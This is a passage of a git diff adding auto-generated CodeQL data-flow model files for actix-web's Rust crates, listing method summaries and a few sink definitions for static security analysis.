"Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::peer_addr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_payload", "Argument[0]", "ReturnValue.Field[0].Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_payload", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::force_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[self].Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::no_chunking", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref_mut", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::head::ResponseHead::status]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self].Field[crate::responses::head::ResponseHead::reason].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[0].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[0].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_into_boxed_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_into_boxed_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[0]", "ReturnValue.Field[0].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[0].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[0].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[0]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_body", "Argument[1]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::service::HttpServiceHandler::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "ReturnValue.Field[crate::service::HttpServiceHandler::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::service::TlsAcceptorConfig::handshake_timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Reference", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err]", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::header::shared::http_date::HttpDate(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::decode", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[0]", "Argument[self].Field[crate::ws::codec::Codec::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[0]", "ReturnValue.Field[crate::ws::codec::Codec::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::Dispatcher::inner].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::framed", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::framed_mut", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::service", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::service]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::service_mut", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::service]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::tx", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::tx].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::tx", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::tx]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_rx", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_rx", "Argument[2]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::DispatcherError::Service(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::parse", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::proto::CloseCode::Other(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::ws::proto::CloseReason::code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::proto::CloseReason::code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::ws::proto::CloseCode::Other(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "crate::ws::proto::hash_key", "Argument[0]", "hasher-input", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml new file mode 100644 index 000000000000..f5be3177f5b8 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml @@ -0,0 +1,43 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_disposition", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_type", "Argument[self].Field[crate::field::Field::content_type].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::headers", "Argument[self].Field[crate::field::Field::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::name", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::field::Field::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::field::Field::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[2].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::field::Field::form_field_name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[3]", "ReturnValue.Field[crate::field::Field::headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[4]", "ReturnValue.Field[crate::field::Field::safety]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[5]", "ReturnValue.Field[crate::field::Field::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::field::InnerField::boundary]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::form::Limits::total_limit_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::form::Limits::memory_limit_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::MultipartForm(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::memory_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::memory_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::text::Text(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::clone", "Argument[self].Field[crate::safety::Safety::clean].Reference", "ReturnValue.Field[crate::safety::Safety::clean]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml new file mode 100644 index 000000000000..7f2f1a6c17e6 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml @@ -0,0 +1,35 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-router", "<&str as crate::resource_path::ResourcePath>::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "<_ as crate::resource_path::Resource>::resource_path", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::de::PathDeserializer::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::resource_path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::get_mut", "Argument[self].Field[crate::path::Path::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::get_ref", "Argument[self].Field[crate::path::Path::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::iter", "Argument[self]", "ReturnValue.Field[crate::path::PathIter::params]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::path::Path::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::set", "Argument[0]", "Argument[self].Field[crate::path::Path::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::capture_match_info_fn", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::id", "Argument[self].Field[crate::resource::ResourceDef::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::is_prefix", "Argument[self].Field[crate::resource::ResourceDef::is_prefix]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::join", "Argument[0].Field[crate::resource::ResourceDef::is_prefix]", "ReturnValue.Field[crate::resource::ResourceDef::is_prefix]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::pattern", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::pattern_iter", "Argument[self].Field[crate::resource::ResourceDef::patterns]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::set_id", "Argument[0]", "Argument[self].Field[crate::resource::ResourceDef::id]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::finish", "Argument[self].Field[crate::router::RouterBuilder::routes]", "ReturnValue.Field[crate::router::Router::routes]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self].Reference", "ReturnValue.Field[crate::pattern::Patterns::Single(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self].Field[crate::url::Url::path].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new_with_quoter", "Argument[0]", "ReturnValue.Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self].Field[crate::url::Url::path].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::update", "Argument[0].Reference", "Argument[self].Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::update_with_quoter", "Argument[0].Reference", "Argument[self].Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::uri", "Argument[self].Field[crate::url::Url::uri]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml new file mode 100644 index 000000000000..092daa5214e4 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml @@ -0,0 +1,60 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - 